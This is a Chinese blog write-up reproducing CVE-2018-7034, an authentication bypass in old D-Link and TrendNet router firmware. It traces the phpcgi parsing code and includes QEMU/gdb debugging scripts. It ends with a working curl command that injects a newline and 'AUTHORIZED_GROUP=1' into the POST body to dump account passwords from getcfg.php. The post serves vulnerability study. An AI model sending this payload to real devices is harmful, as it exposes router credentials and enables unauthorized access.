D-Link 登录信息泄露(权限绕过)漏洞复现

D-Link 登录信息泄露(权限绕过)漏洞复现

0x00 前言

漏洞编号CVE-2018-7034,影响D-Link和TrendNet的一些老设备。

这里分析的是TrendNet TEW751的固件,此外D-Link的一些老设备,如DIR645,DIR815等也都受该漏洞影响。

0x01 漏洞分析

找到存在漏洞的文件/htdocs/web/getcfg.php

image

如果 CACHE 不是 true,则检查用户权限。我们让AUTHORIZED_GROUP​> = 0 进入else里面,这里$_POST["SERVICES"]​是可控的。

/htdocs/webinc/getcfg​中找到DEVICE.ACCOUNT.xml.php​这个文件

image

通过加载这个文件泄露账户密码敏感信息。我们需要让全局变量$AUTHORIZED_GROUP >= 0​的,我们传入的数据都是先通过登录验证文件htdocs/cgibin进行脚本语言解析后,再将解析好的URL结构发送给这里的php文件。所以需要分析cgibin​文件,由于这里的webserver运行的是php脚本,那么这个二进制文件中重点的就是处理php语言的部分,也就是phpcgi。

image

进入phpcgi_main函数:

image

sobj_new();创建了一个结构体,用于存放之后解析出来的各个字段。

_DWORD *sobj_new()
{
  _DWORD *result; // $v0

  result = malloc(0x18u);
  if ( result )
  {
    result[2] = 0;
    result[3] = 0;
    result[4] = 0;
    result[5] = 0;
    result[1] = result;
    *result = result;
  }
  return result;
}

image

这里圈出来的最先拼接的字符串是我们传进来的第一个参数,也就是传入main的argv[0](phpcgi)的后一个参数:

编写shell脚本来使用qemu进行动态调试

start.sh​脚本:

#!/bin/bash
# sudo ./start.sh

INPUT=$(python -c "print('SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1')")
LEN=$(echo $INPUT | wc -c)
PORT="1234"

if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nusage: sudo $0\n"
    exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT" | chroot . ./qemu -0 "/phpcgi" \
    -E CONTENT_LENGTH=$LEN \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="/getcfg.php" \
    -E REMOTE_ADDR="127.0.0.1" \
    -g $PORT ./htdocs/cgibin "/phpcgi" "/phpcgi"  # 2>/dev/null

echo "run ok"
rm -f ./qemu

gdb.sh​脚本

# mygdb.sh

set architecture mips                                     
set follow-fork-mode child  
set detach-on-fork off                                    
file ./htdocs/cgibin
target remote 127.0.0.1:1234        

运行:

sudo ./start.sh
gdb-multiarch -x gdb.sh

sobj_add_string(v7, *(_DWORD *)(a2 + 4));​下断点

image

走到这个这个循环:

 for ( i = a3; *i; ++i )
  {
    sobj_add_string(v6, "_SERVER_");
    sobj_add_string(v6, *i);
    sobj_add_char(v6, 10);
  }

查看v6的地址

for 循环执行完后v6的结果

image

继续接着分析,就是读取请求方式的环境变量了,按照上面的分析,我们这里得是POST请求方式:

image

调用cgibin_parse_request​函数,跟进parse_uri​函数会对请求进行进一步的解析:

image

跟进cgibin_parse_request​函数

image

strncasecmp​ 处下断点看到这里的 v14​ 是 application/​,我们设置 application/​ 可以顺利通过这个判断

image

这里return​会跳到​0x40445c​函数

image

接着分析0x40445c​,这里又有一个判断 a4 是之前传入的 &content_type[v12]
到了这里实际上就是 application/​ 后面的部分,所以我们完整的 CONTENT_TYPE​ 需要设置为 application/x-www-form-urlencoded

image

继续跟进到 sub_403A0C 函数中,发现其中有一个 read 函数
之后我们 POST 的请求就是使用这个 read 来读入的

image

然后会走到sub_403864​函数,这里的v9函数指针其实就是cgibin_parse_request​函数传进去的第一个参数sub_405AC0​:

v9(v10,v16);​下断点查看,发现是跳到0x405ac0

image

image

跟进 sub_405AC0​ 函数,这里会按照 POST​ 请求对输入的内容进行解析,就是找到一个 =​ 再将前后分离并且拼接,然后将解析好的内容拼接到上面的字符串

image

回到 phpcgi_main
下面会有一个 sess_validate()​ 函数
按照下面路径我们会发现程序会打开一个 "/var/session/sesscfg" ​文件,而我们模拟的是没有的,我们只能将它 patch​ 掉

image

也就是把 phpcgi_main​ 中 v13 = sess_validate();​ 这一行代码去掉
同时为了模拟真实情况,我们手动补上 li $v0,-1​ 使得原先的 v12 最后为 -1

image

patch后下段点到这里

image

"_POST_SERVICES=DEVICE.ACCOUNT\n_POST_attack=ture\nAUTHORIZED_GROUP=1\n\nAUTHORIZED_GROUP=-1"

image

就是说程序原本打算写入的是 AUTHORIZED_GROUP=-1,但是由于前面我们已经插入了一个AUTHORIZED_GROUP=1 以此被我们截胡了,让 AUTHORIZED_GROUP 变成了 1 由此绕过了检测

综上,我们POST发送的内容应该为SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1。

0x02 漏洞演示

使用下面这条命令:

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[ip:port]/getcfg.php"

image

image

成功登录

image

0x03 参考

D-Link 登录信息泄露(权限绕过)漏洞分析报告(CVE-2018-7034) | XiDP

一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone

posted @ 2025-08-30 15:03  cosyQAQ  阅读(3)  评论(0)    收藏  举报